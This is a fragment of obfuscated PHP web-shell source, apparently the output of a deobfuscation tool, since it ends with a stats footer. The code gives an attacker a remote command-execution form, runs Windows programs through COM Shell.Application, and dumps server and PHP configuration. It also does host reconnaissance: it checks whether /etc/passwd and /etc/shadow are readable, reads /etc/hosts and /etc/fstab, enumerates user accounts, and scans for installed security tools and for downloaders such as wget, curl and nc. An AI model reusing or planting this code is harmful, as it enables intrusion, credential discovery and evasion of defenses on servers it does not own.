1024); } goto xrG6U; bfEVE: proc_close($process); goto afK0o; afK0o: } goto WHCWN; WHCWN: } else { echo execute($command); } goto hlD95; hKC6y: } goto GzD4U; kLORB: p("\x3c\x2f\x70\76"); goto tb421; LbG3F: makehide("\141\x63\x74\x69\x6f\x6e", "\x73\x68\x65\x6c\x6c"); goto OV8Dw; rv734: makeinput(array("\156\x61\x6d\x65" => "\x73\x75\142\155\x69\164", "\143\x6c\x61\x73\163" => "\x62\164", "\x74\x79\160\x65" => "\163\x75\x62\x6d\151\x74", "\x76\x61\x6c\x75\145" => "\x45\x78\145\143\165\x74\145")); goto kLORB; Zb9hw: p("\74\x70\x3e"); goto KFwlW; nxPh3: formhead(array("\x74\151\164\154\x65" => "\105\170\145\x63\x75\164\145\40\x43\x6f\155\155\141\x6e\144")); goto LbG3F; tb421: formfoot(); goto UyM1p; q3Z9S: if (IS_WIN && IS_COM) { goto mLd7w; AkpmT: !$program && ($program = "\x63\x3a\x5c\x77\x69\156\144\x6f\x77\163\x5c\163\171\163\164\145\x6d\63\62\134\143\x6d\144\56\x65\x78\145"); goto MhH_d; gnXhB: makeinput(array("\164\x69\164\154\145" => "\120\162\157\147\x72\x61\155", "\156\141\x6d\x65" => "\x70\162\x6f\x67\x72\x61\x6d", "\x76\141\x6c\165\145" => $program, "\156\145\167\x6c\x69\156\145" => 1)); goto bFs88; bFs88: p("\x3c\x70\x3e"); goto tGzQH; U5SwA: p("\x3c\x2f\x70\x3e"); goto QQnIC; MhH_d: !$parameter && ($parameter = "\57\143\40\x6e\x65\x74\40\x73\164\x61\162\164\x20\x3e\40" . SA_ROOT . "\154\x6f\x67\56\164\170\164"); goto H98zJ; mLd7w: if ($program && $parameter) { goto KkLjo; QQGUZ: $a = $shell->ShellExecute($program, $parameter); goto FmDcZ; FmDcZ: m("\x50\x72\x6f\x67\162\141\155\40\x72\x75\156\x20\150\x61\x73\40" . (!$a ? "\x73\165\143\143\x65\x73\x73" : "\146\x61\151\x6c")); goto q_kN8; KkLjo: $shell = new COM("\123\x68\145\x6c\x6c\x2e\101\160\160\x6c\x69\x63\x61\164\x69\x6f\x6e"); goto QQGUZ; q_kN8: } goto AkpmT; QQnIC: formfoot(); goto MNPNh; tGzQH: makeinput(array("\x74\151\164\x6c\x65" => "\120\141\x72\141\155\x65\x74\x65\162", "\x6e\141\x6d\x65" => "\160\141\x72\141\155\145\164\145\162", "\166\141\154\x75\x65" => $parameter)); goto df92t; H98zJ: formhead(array("\x74\151\164\154\x65" => "\x45\170\145\x63\165\164\x65\40\120\x72\157\x67\162\x61\x6d")); goto J0kGn; J0kGn: makehide("\x61\143\164\151\x6f\156", "\163\x68\x65\154\154"); goto gnXhB; df92t: makeinput(array("\156\x61\155\145" => "\163\165\142\155\151\x74", "\143\154\x61\x73\163" => "\x62\x74", "\164\x79\160\x65" => "\163\x75\142\155\151\x74", "\166\141\x6c\x75\x65" => "\x45\x78\x65\143\165\164\145")); goto U5SwA; MNPNh: } goto nxPh3; OV8Dw: if (IS_WIN && IS_COM) { $execfuncdb = array("\160\150\x70\146\x75\x6e\143" => "\x70\150\160\x66\x75\x6e\143", "\x77\x73\143\162\151\160\x74" => "\x77\x73\143\x72\151\x70\164", "\x70\162\x6f\143\x5f\157\160\x65\x6e" => "\x70\162\x6f\x63\x5f\x6f\x70\x65\x6e"); makeselect(array("\x74\151\x74\x6c\x65" => "\x55\x73\145\x3a", "\156\x61\155\145" => "\x65\x78\145\143\x66\x75\156\x63", "\x6f\160\x74\151\157\x6e" => $execfuncdb, "\x73\x65\x6c\145\143\x74\x65\x64" => $execfunc, "\x6e\x65\x77\154\x69\x6e\x65" => 1)); } goto Zb9hw; KFwlW: makeinput(array("\x74\151\164\x6c\145" => "\x43\157\x6d\155\x61\156\144", "\156\x61\155\145" => "\143\157\155\x6d\x61\x6e\x64", "\166\141\154\165\145" => htmlspecialchars($command))); goto rv734; GzD4U: } elseif ($action == "\x70\150\160\145\x6e\166") { goto lbs3e; g3FYv: $adminmail = isset($_SERVER["\123\x45\x52\x56\105\x52\137\x41\x44\x4d\111\116"]) ? $_SERVER["\123\105\x52\x56\x45\122\137\x41\x44\115\111\116"] : getcfg("\x73\x65\156\144\x6d\x61\x69\x6c\x5f\x66\x72\157\x6d"); goto S4Vkk; P2B2v: formhead(array("\x74\x69\x74\154\145" => "\x53\145\162\166\x65\162\x20\145\x6e\x76\151\162\157\x6e\155\x65\x6e\164")); goto Al720; HNett: makeinput(array("\x74\x69\x74\x6c\x65" => "\120\x6c\x65\x61\163\145\x20\x69\156\160\165\164\x20\x50\x48\x50\x20\143\157\156\x66\151\147\x75\x72\141\x74\x69\x6f\156\x20\160\x61\x72\x61\x6d\145\x74\x65\x72\x28\x65\147\72\155\x61\x67\x69\143\137\161\165\x6f\164\145\163\137\147\160\x63\51", "\156\141\x6d\x65" => "\x70\x68\160\166\141\162\156\x61\x6d\145", "\166\141\154\165\145" => $phpvarname, "\x6e\145\x77\154\151\156\145" => 1)); goto Vex8v; uFgv2: $info = array(1 => array("\x53\145\162\166\145\162\40\124\151\155\145", date("\x59\57\155\57\144\x20\x68\x3a\x69\72\x73", $timestamp)), 2 => array("\123\145\x72\166\x65\162\40\104\x6f\x6d\x61\151\156", $_SERVER["\x53\105\x52\126\105\x52\x5f\x4e\x41\x4d\x45"]), 3 => array("\123\145\x72\x76\145\162\x20\x49\120", gethostbyname($_SERVER["\x53\105\x52\126\x45\x52\137\x4e\101\115\105"])), 4 => array("\123\x65\162\166\145\162\40\117\x53", PHP_OS), 5 => array("\123\145\x72\x76\x65\162\40\117\x53\40\x43\x68\141\x72\163\145\x74", $_SERVER["\x48\x54\x54\120\137\101\x43\103\105\120\x54\x5f\x4c\x41\116\x47\x55\101\x47\x45"]), 6 => array("\123\145\x72\166\145\x72\x20\x53\x6f\x66\x74\167\141\162\x65", $_SERVER["\123\105\x52\x56\105\x52\x5f\x53\x4f\x46\x54\127\101\122\105"]), 7 => array("\x53\145\162\166\145\162\40\127\x65\x62\40\120\x6f\x72\x74", $_SERVER["\x53\x45\x52\x56\105\x52\x5f\x50\x4f\x52\124"]), 8 => array("\x50\110\120\x20\x72\x75\156\x20\x6d\x6f\x64\145", strtoupper(php_sapi_name())), 9 => array("\x54\x68\145\x20\146\151\154\145\x20\x70\141\164\150", __FILE__), 10 => array("\x50\x48\x50\40\x56\145\162\x73\x69\x6f\156", PHP_VERSION), 11 => array("\120\x48\120\111\116\106\x4f", IS_PHPINFO ? "\x3c\141\x20\x68\162\145\146\x3d\42\x6a\141\x76\141\163\143\x72\x69\x70\x74\72\x67\x28\x27\160\150\160\x69\x6e\146\x6f\47\x29\73\42\x3e\x59\x65\x73\x3c\57\x61\76" : "\116\x6f"), 12 => array("\123\x61\x66\145\x20\x4d\x6f\144\145", getcfg("\163\141\146\145\x5f\155\x6f\144\145")), 13 => array("\101\x64\155\x69\x6e\151\x73\164\x72\141\x74\x6f\x72", $adminmail), 14 => array("\141\x6c\154\x6f\167\x5f\165\x72\x6c\x5f\x66\x6f\160\x65\156", getcfg("\141\154\x6c\157\x77\x5f\x75\x72\154\x5f\146\157\x70\x65\156")), 15 => array("\x65\x6e\x61\142\154\x65\137\144\x6c", getcfg("\145\x6e\141\142\154\145\137\144\154")), 16 => array("\144\151\x73\160\154\x61\171\x5f\x65\162\162\x6f\x72\163", getcfg("\144\x69\163\x70\x6c\141\171\137\145\x72\x72\x6f\x72\163")), 17 => array("\162\145\147\151\163\164\145\x72\137\x67\154\157\x62\x61\154\x73", getcfg("\x72\x65\x67\x69\x73\164\x65\162\x5f\x67\x6c\157\x62\141\154\163")), 18 => array("\x6d\x61\147\x69\143\137\161\165\x6f\x74\x65\163\137\x67\x70\143", getcfg("\155\x61\x67\151\x63\x5f\161\x75\157\164\x65\163\137\147\x70\x63")), 19 => array("\x6d\145\155\157\x72\x79\x5f\154\x69\155\x69\164", getcfg("\155\x65\155\x6f\162\x79\137\x6c\x69\x6d\151\x74")), 20 => array("\160\157\x73\x74\137\155\x61\170\137\163\151\x7a\x65", getcfg("\160\x6f\163\164\x5f\x6d\x61\x78\x5f\163\151\x7a\145")), 21 => array("\x75\x70\x6c\x6f\141\144\137\155\141\x78\137\x66\151\x6c\145\163\x69\x7a\145", $upsize), 22 => array("\x6d\x61\170\137\x65\x78\x65\143\165\x74\151\157\156\x5f\x74\151\155\145", getcfg("\x6d\141\170\x5f\x65\x78\145\143\x75\164\151\157\x6e\x5f\164\x69\155\x65") . "\40\x73\x65\x63\x6f\156\144\50\x73\51"), 23 => array("\144\151\x73\141\142\154\145\x5f\x66\165\156\143\164\151\157\x6e\x73", $dis_func)); goto pFF2u; pFF2u: if ($phpvarname) { m($phpvarname . "\40\72\x20" . getcfg($phpvarname)); } goto P2B2v; Vex8v: formfooter(); goto KxA2K; oLmPr: for ($a = 0; $a < 2; $a++) { p("\x3c\150\62\76" . $hp[$a] . "\40\46\162\141\161\165\x6f\x3b\x3c\x2f\x68\x32\x3e"); p("\74\165\154\40\143\x6c\x61\x73\x73\x3d\42\x69\x6e\x66\x6f\42\76"); if ($a == 0) { for ($i = 1; $i <= 9; $i++) { p("\x3c\154\151\x3e\x3c\165\76" . $info[$i][0] . "\x3a\74\57\x75\76" . $info[$i][1] . "\x3c\x2f\x6c\151\x3e"); } } elseif ($a == 1) { for ($i = 10; $i <= 23; $i++) { p("\74\x6c\151\x3e\74\165\x3e" . $info[$i][0] . "\72\74\x2f\x75\76" . $info[$i][1] . "\x3c\x2f\154\151\x3e"); } } p("\x3c\x2f\165\x6c\76"); } goto C0NNf; Al720: makehide("\x61\x63\x74\x69\157\156", "\160\x68\x70\145\x6e\166"); goto HNett; KxA2K: $hp = array(0 => "\123\x65\162\166\145\x72", 1 => "\x50\x48\120"); goto oLmPr; S4Vkk: !$dis_func && ($dis_func = "\116\157"); goto uFgv2; lbs3e: $upsize = getcfg("\146\x69\x6c\145\137\165\160\x6c\157\x61\x64\163") ? getcfg("\x75\160\154\x6f\141\x64\137\x6d\x61\x78\x5f\x66\151\x6c\145\x73\x69\x7a\145") : "\116\x6f\x74\x20\141\x6c\154\157\167\x65\144"; goto g3FYv; C0NNf: } elseif ($action == "\163\145\143\x69\x6e\146\x6f") { goto NEjOR; YEBFQ: secparam("\x53\x61\x66\145\40\x6d\157\x64\145\x20\151\x6e\143\154\x75\x64\x65\x20\x64\151\x72", @ini_get("\x73\x61\146\145\137\155\x6f\x64\145\x5f\x69\x6e\x63\x6c\165\x64\x65\x5f\144\x69\x72")); goto fSbvs; mkprw: secparam("\x4f\160\x65\156\x20\x62\141\x73\145\x20\144\x69\162", @ini_get("\157\x70\145\x6e\x5f\x62\141\163\x65\144\151\x72")); goto TeFIz; SVey3: $temp = array(); goto jcm4P; m_278: if (function_exists("\157\x63\151\x5f\143\157\156\x6e\x65\x63\164")) { $temp[] = "\x4f\x72\x61\x63\x6c\145"; } goto HfAtC; iTlrI: if (!IS_WIN) { goto n3ib6; uLPHL: secparam("\117\123\x20\x76\145\x72\x73\x69\157\156", @file_get_contents("\57\160\162\x6f\x63\x2f\x76\x65\x72\163\151\157\156")); goto BxtNi; DFmSx: $danger = array("\153\x61\166", "\x6e\157\x64\63\62", "\142\144\x63\157\162\145\x64", "\x75\166\163\x63\141\156", "\163\x61\166", "\x64\x72\167\145\142\x64", "\x63\x6c\x61\155\144", "\162\x6b\x68\x75\156\164\x65\x72", "\x63\x68\x6b\162\157\157\x74\153\151\164", "\151\x70\x74\x61\x62\x6c\145\163", "\x69\160\x66\x77", "\164\162\x69\x70\x77\151\x72\x65", "\163\150\151\145\154\144\x63\143", "\x70\157\x72\164\x73\x65\x6e\x74\162\171", "\163\x6e\x6f\x72\x74", "\157\x73\163\145\143", "\x6c\x69\x64\163\x61\x64\155", "\x74\143\x70\x6c\157\x64\x67", "\x73\170\151\144", "\x6c\157\x67\143\150\145\143\153", "\154\157\x67\167\x61\x74\143\150", "\163\x79\x73\x6d\x61\163\153", "\x7a\x6d\x62\x73\x63\x61\x70", "\x73\x61\167\155\151\x6c\x6c", "\x77\x6f\162\x6d\x73\143\x61\156", "\156\151\156\x6a\x61"); goto ckacK; e48WC: secparam("\122\145\x61\x64\141\x62\154\145\40\x2f\145\x74\x63\57\160\141\x73\x73\x77\144", @is_readable("\57\145\x74\143\x2f\x70\141\x73\163\x77\144") ? "\x79\x65\x73" : "\156\x6f"); goto wwi1D; ckacK: $downloaders = array("\167\147\x65\164", "\x66\x65\164\143\x68", "\154\171\x6e\170", "\x6c\151\x6e\x6b\163", "\x63\165\162\154", "\147\x65\164", "\154\167\x70\x2d\155\151\162\x72\157\x72"); goto e48WC; BxtNi: secparam("\x44\151\163\164\x72\40\x6e\x61\x6d\145", @file_get_contents("\57\145\164\143\57\151\163\163\165\x65\56\156\145\164")); goto ak6gH; n3ib6: $userful = array("\147\x63\x63", "\154\143\143", "\143\143", "\x6c\144", "\155\x61\153\x65", "\x70\150\160", "\x70\145\x72\154", "\x70\171\164\x68\x6f\x6e", "\162\x75\x62\171", "\164\141\162", "\147\x7a\x69\x70", "\142\x7a\151\x70", "\142\172\151\x70\x32", "\156\x63", "\154\x6f\x63\x61\x74\145", "\163\165\151\x64\x70\x65\162\x6c"); goto DFmSx; wwi1D: secparam("\x52\x65\141\144\x61\142\x6c\x65\40\57\145\164\143\x2f\163\x68\x61\144\157\x77", @is_readable("\x2f\x65\164\x63\x2f\163\x68\141\x64\157\167") ? "\171\145\163" : "\x6e\157"); goto uLPHL; LzIrP: if (!$GLOBALS["\163\x61\x66\x65\137\155\x6f\144\145"]) { goto Va3XS; I3Mr2: secparam("\x44\141\156\x67\145\x72", implode("\54\40", $temp)); goto q1FpB; Pfe9J: secparam("\125\x73\145\162\146\165\154", implode("\x2c\40", $temp)); goto QZdyQ; q1FpB: $temp = array(); goto FmEo5; ZxCPo: secparam("\x44\157\x77\156\154\157\141\x64\145\162\x73", implode("\x2c\40", $temp)); goto gDW81; QZdyQ: $temp = array(); goto yV2EI; Va3XS: $temp = array(); goto RErpi; RErpi: foreach ($userful as $item) { if (which($item)) { $temp[] = $item; } } goto Pfe9J; yV2EI: foreach ($danger as $item) { if (which($item)) { $temp[] = $item; } } goto I3Mr2; Ua3Ti: secparam("\x4d\157\165\x6e\164\40\x6f\160\164\151\x6f\156\x73", @file_get_contents("\57\145\164\143\x2f\x66\163\164\141\x62")); goto XWeqB; kCryc: secparam("\x48\104\x44\40\x73\160\141\x63\x65", execute("\144\146\40\x2d\150")); goto Ua3Ti; FmEo5: foreach ($downloaders as $item) { if (which($item)) { $temp[] = $item; } } goto ZxCPo; gDW81: secparam("\110\x6f\x73\164\x73", @file_get_contents("\57\145\164\x63\x2f\150\157\x73\164\163")); goto kCryc; XWeqB: } goto AU6dZ; ak6gH: $safe_mode = @ini_get("\x73\141\146\x65\x5f\x6d\x6f\x64\145"); goto LzIrP; AU6dZ: } else { goto W9zU2; i370p: secparam("\125\x73\x65\x72\40\101\x63\143\x6f\x75\156\164\163", execute("\156\x65\x74\40\x75\163\x65\162")); goto D5Tfw; W9zU2: secparam("\x4f\123\40\126\145\x72\x73\151\x6f\x6e", execute("\166\x65\162")); goto Axf2w; D5Tfw: secparam("\x49\x50\40\x43\157\156\x66\x69\147\x75\162\141\x74\145", execute("\151\x70\143\157\x6e\146\x69\147\x20\x2d\x61\x6c\154")); goto dKMFF; Axf2w: secparam("\101\143\143\157\165\156\164\x20\x53\x65\x74\164\x69\156\x67\163", execute("\156\x65\164\40\x61\143\143\157\165\156\164\x73")); goto i370p; dKMFF: } goto ZwPP5; TeFIz: secparam("\123\x61\x66\145\40\155\157\144\145\x20\x65\x78\x65\143\40\144\x69\162", @ini_get("\x73\x61\x66\145\x5f\x6d\x6f\144\145\137\145\170\145\143\137\144\151\x72")); goto YEBFQ; AYhM1: secparam("\x44\x69\163\x61\x62\x6c\145\x64\x20\120\x48\120\x20\x46\165\x6e\143\x74\x69\157\x6e\163", $GLOBALS["\x64\x69\x73\x61\142\154\145\137\x66\165\x6e\143\164\x69\157\x6e\163"] ? $GLOBALS["\144\x69\x73\x61\142\x6c\145\x5f\x66\x75\x6e\143\164\151\x6f\x6e\163"] : "\x6e\x6f\x6e\145"); goto mkprw; jcm4P: if (function_exists("\x6d\x79\163\x71\x6c\x5f\x67\145\164\x5f\x63\x6c\151\x65\x6e\164\x5f\x69\x6e\146\x6f")) { $temp[] = "\115\x79\x53\x71\154\40\x28" . mysql_get_client_info() . "\x29"; } goto DsBQG; NEjOR: secparam("\x53\145\162\x76\x65\x72\x20\x73\x6f\x66\164\x77\141\162\145", @getenv("\123\x45\122\x56\105\122\x5f\123\x4f\106\124\x57\x41\x52\x45")); goto AYhM1; HfAtC: secparam("\123\x75\x70\x70\x6f\162\164\x65\x64\40\144\x61\x74\x61\142\141\x73\x65\163", implode("\54\x20", $temp)); goto iTlrI; fSbvs: secparam("\x63\x55\122\x4c\40\x73\165\160\x70\x6f\x72\164", function_exists("\143\x75\162\x6c\137\166\x65\162\163\151\x6f\156") ? "\x65\x6e\141\x62\154\x65\x64" : "\x6e\x6f"); goto SVey3; fRUEm: if (function_exists("\x70\x67\137\x63\x6f\x6e\156\145\143\x74")) { $temp[] = "\x50\x6f\163\x74\147\x72\145\x53\x51\114"; } goto m_278; DsBQG: if (function_exists("\155\x73\163\x71\154\x5f\143\157\x6e\156\x65\143\x74")) { $temp[] = "\115\x53\123\121\114"; } goto fRUEm; ZwPP5: } else { m("\125\156\144\145\146\x69\156\x65\144\40\101\x63\164\x69\x6f\156"); } goto bWkFA; Y0cCN: function getPerms($filepath) { goto hUu63; EVKBU: $group["\x72\145\x61\x64"] = $mode & 040 ? "\162" : "\55"; goto HKz2s; gW1TF: $perm = $type . $owner["\162\145\x61\x64"] . $owner["\167\x72\x69\x74\x65"] . $owner["\x65\170\x65\x63\165\164\x65"] . $group["\x72\x65\141\144"] . $group["\x77\x72\x69\164\x65"] . $group["\x65\x78\x65\143\x75\164\x65"] . $world["\x72\145\x61\x64"] . $world["\x77\162\x69\x74\145"] . $world["\145\x78\x65\x63\165\x74\x65"]; goto C7d8k; tpDqO: $group["\145\170\145\143\165\164\145"] = $mode & 010 ? "\170" : "\x2d"; goto dd4ql; ilE3v: $world["\x65\170\x65\x63\165\164\145"] = $mode & 01 ? "\x78" : "\x2d"; goto pOdYZ; g7qEw: if ($mode & 0x200) { $world["\x65\x78\145\x63\x75\164\145"] = $world["\145\x78\145\x63\165\x74\x65"] == "\x78" ? "\x74" : "\124"; } goto gW1TF; Plak_: $mode = @fileperms($filepath); goto xQpvu; pOdYZ: if ($mode & 0x800) { $owner["\x65\170\145\143\165\x74\x65"] = $owner["\x65\x78\x65\143\x75\x74\145"] == "\170" ? "\163" : "\x53"; } goto z8Eq7; z8Eq7: if ($mode & 0x400) { $group["\145\x78\x65\143\165\x74\145"] = $group["\145\x78\145\143\165\164\145"] == "\x78" ? "\x73" : "\123"; } goto g7qEw; XJ5do: $owner["\x65\170\145\x63\x75\164\145"] = $mode & 0100 ? "\170" : "\x2d"; goto EVKBU; hUu63: $dirname = dirname($filepath); goto Plak_; C7d8k: if (!@is_readable($filepath)) { $perm = "\x3c\146\157\156\164\40\143\157\154\x6f\x72\75\x22\x23\x46\x46\x30\x30\60\x30\x22\x20\163\164\x79\x6c\145\75\x22\x66\157\x6e\164\55\167\x65\x69\147\x68\164\x3a\142\x6f\154\144\x3b\x22\76" . $perm . "\74\x2f\146\x6f\x6e\x74\76"; } elseif (!@is_writable($filepath)) { $perm = "\74\146\x6f\156\x74\x20\143\x6f\154\157\x72\x3d\x22\60\x30\x30\42\x20\163\164\171\x6c\145\x3d\42\x66\x6f\x6e\164\55\x77\x65\151\147\150\164\72\x62\x6f\x6c\x64\x3b\42\x3e" . $perm . "\x3c\57\146\157\156\164\76"; } else { $perm = "\74\146\x6f\156\x74\x20\143\x6f\x6c\157\x72\75\x22\x23\x31\62\x39\64\60\143\42\40\163\164\171\154\145\75\x22\x66\x6f\156\164\55\167\145\151\x67\150\164\x3a\x62\x6f\154\x64\73\x22\x3e" . $perm . "\74\57\146\x6f\x6e\x74\76"; } goto aXBtP; dd4ql: $world["\x72\x65\x61\144"] = $mode & 04 ? "\x72" : "\55"; goto QsUqM; EFrmU: $owner["\162\145\x61\144"] = $mode & 0400 ? "\x72" : "\x2d"; goto O3848; HKz2s: $group["\x77\x72\151\164\145"] = $mode & 020 ? "\x77" : "\55"; goto tpDqO; aXBtP: return $perm; goto XM44R; QsUqM: $world["\x77\162\151\x74\x65"] = $mode & 02 ? "\x77" : "\55"; goto ilE3v; O3848: $owner["\x77\x72\x69\x74\145"] = $mode & 0200 ? "\x77" : "\55"; goto XJ5do; xQpvu: if (($mode & 0xc000) === 0xc000) { $type = "\x73"; } elseif (($mode & 0x4000) === 0x4000) { $type = "\x64"; } elseif (($mode & 0xa000) === 0xa000) { $type = "\x6c"; } elseif (($mode & 0x8000) === 0x8000) { $type = "\x2d"; } elseif (($mode & 0x6000) === 0x6000) { $type = "\x62"; } elseif (($mode & 0x2000) === 0x2000) { $type = "\x63"; } elseif (($mode & 0x1000) === 0x1000) { $type = "\160"; } else { $type = "\x3f"; } goto EFrmU; XM44R: } goto vfSYg; B3Eo6: $mtime = explode("\x20", microtime()); goto b1DZ_; hmoEj: function pr($s) { echo "\x3c\160\162\x65\x3e" . print_r($s) . "\74\57\x70\162\x65\x3e"; }
Function Calls
None |
Stats
MD5 | 86d2fb529de033343e8f0a2ab5aeff53 |
Eval Count | 0 |
Decode Time | 352 ms |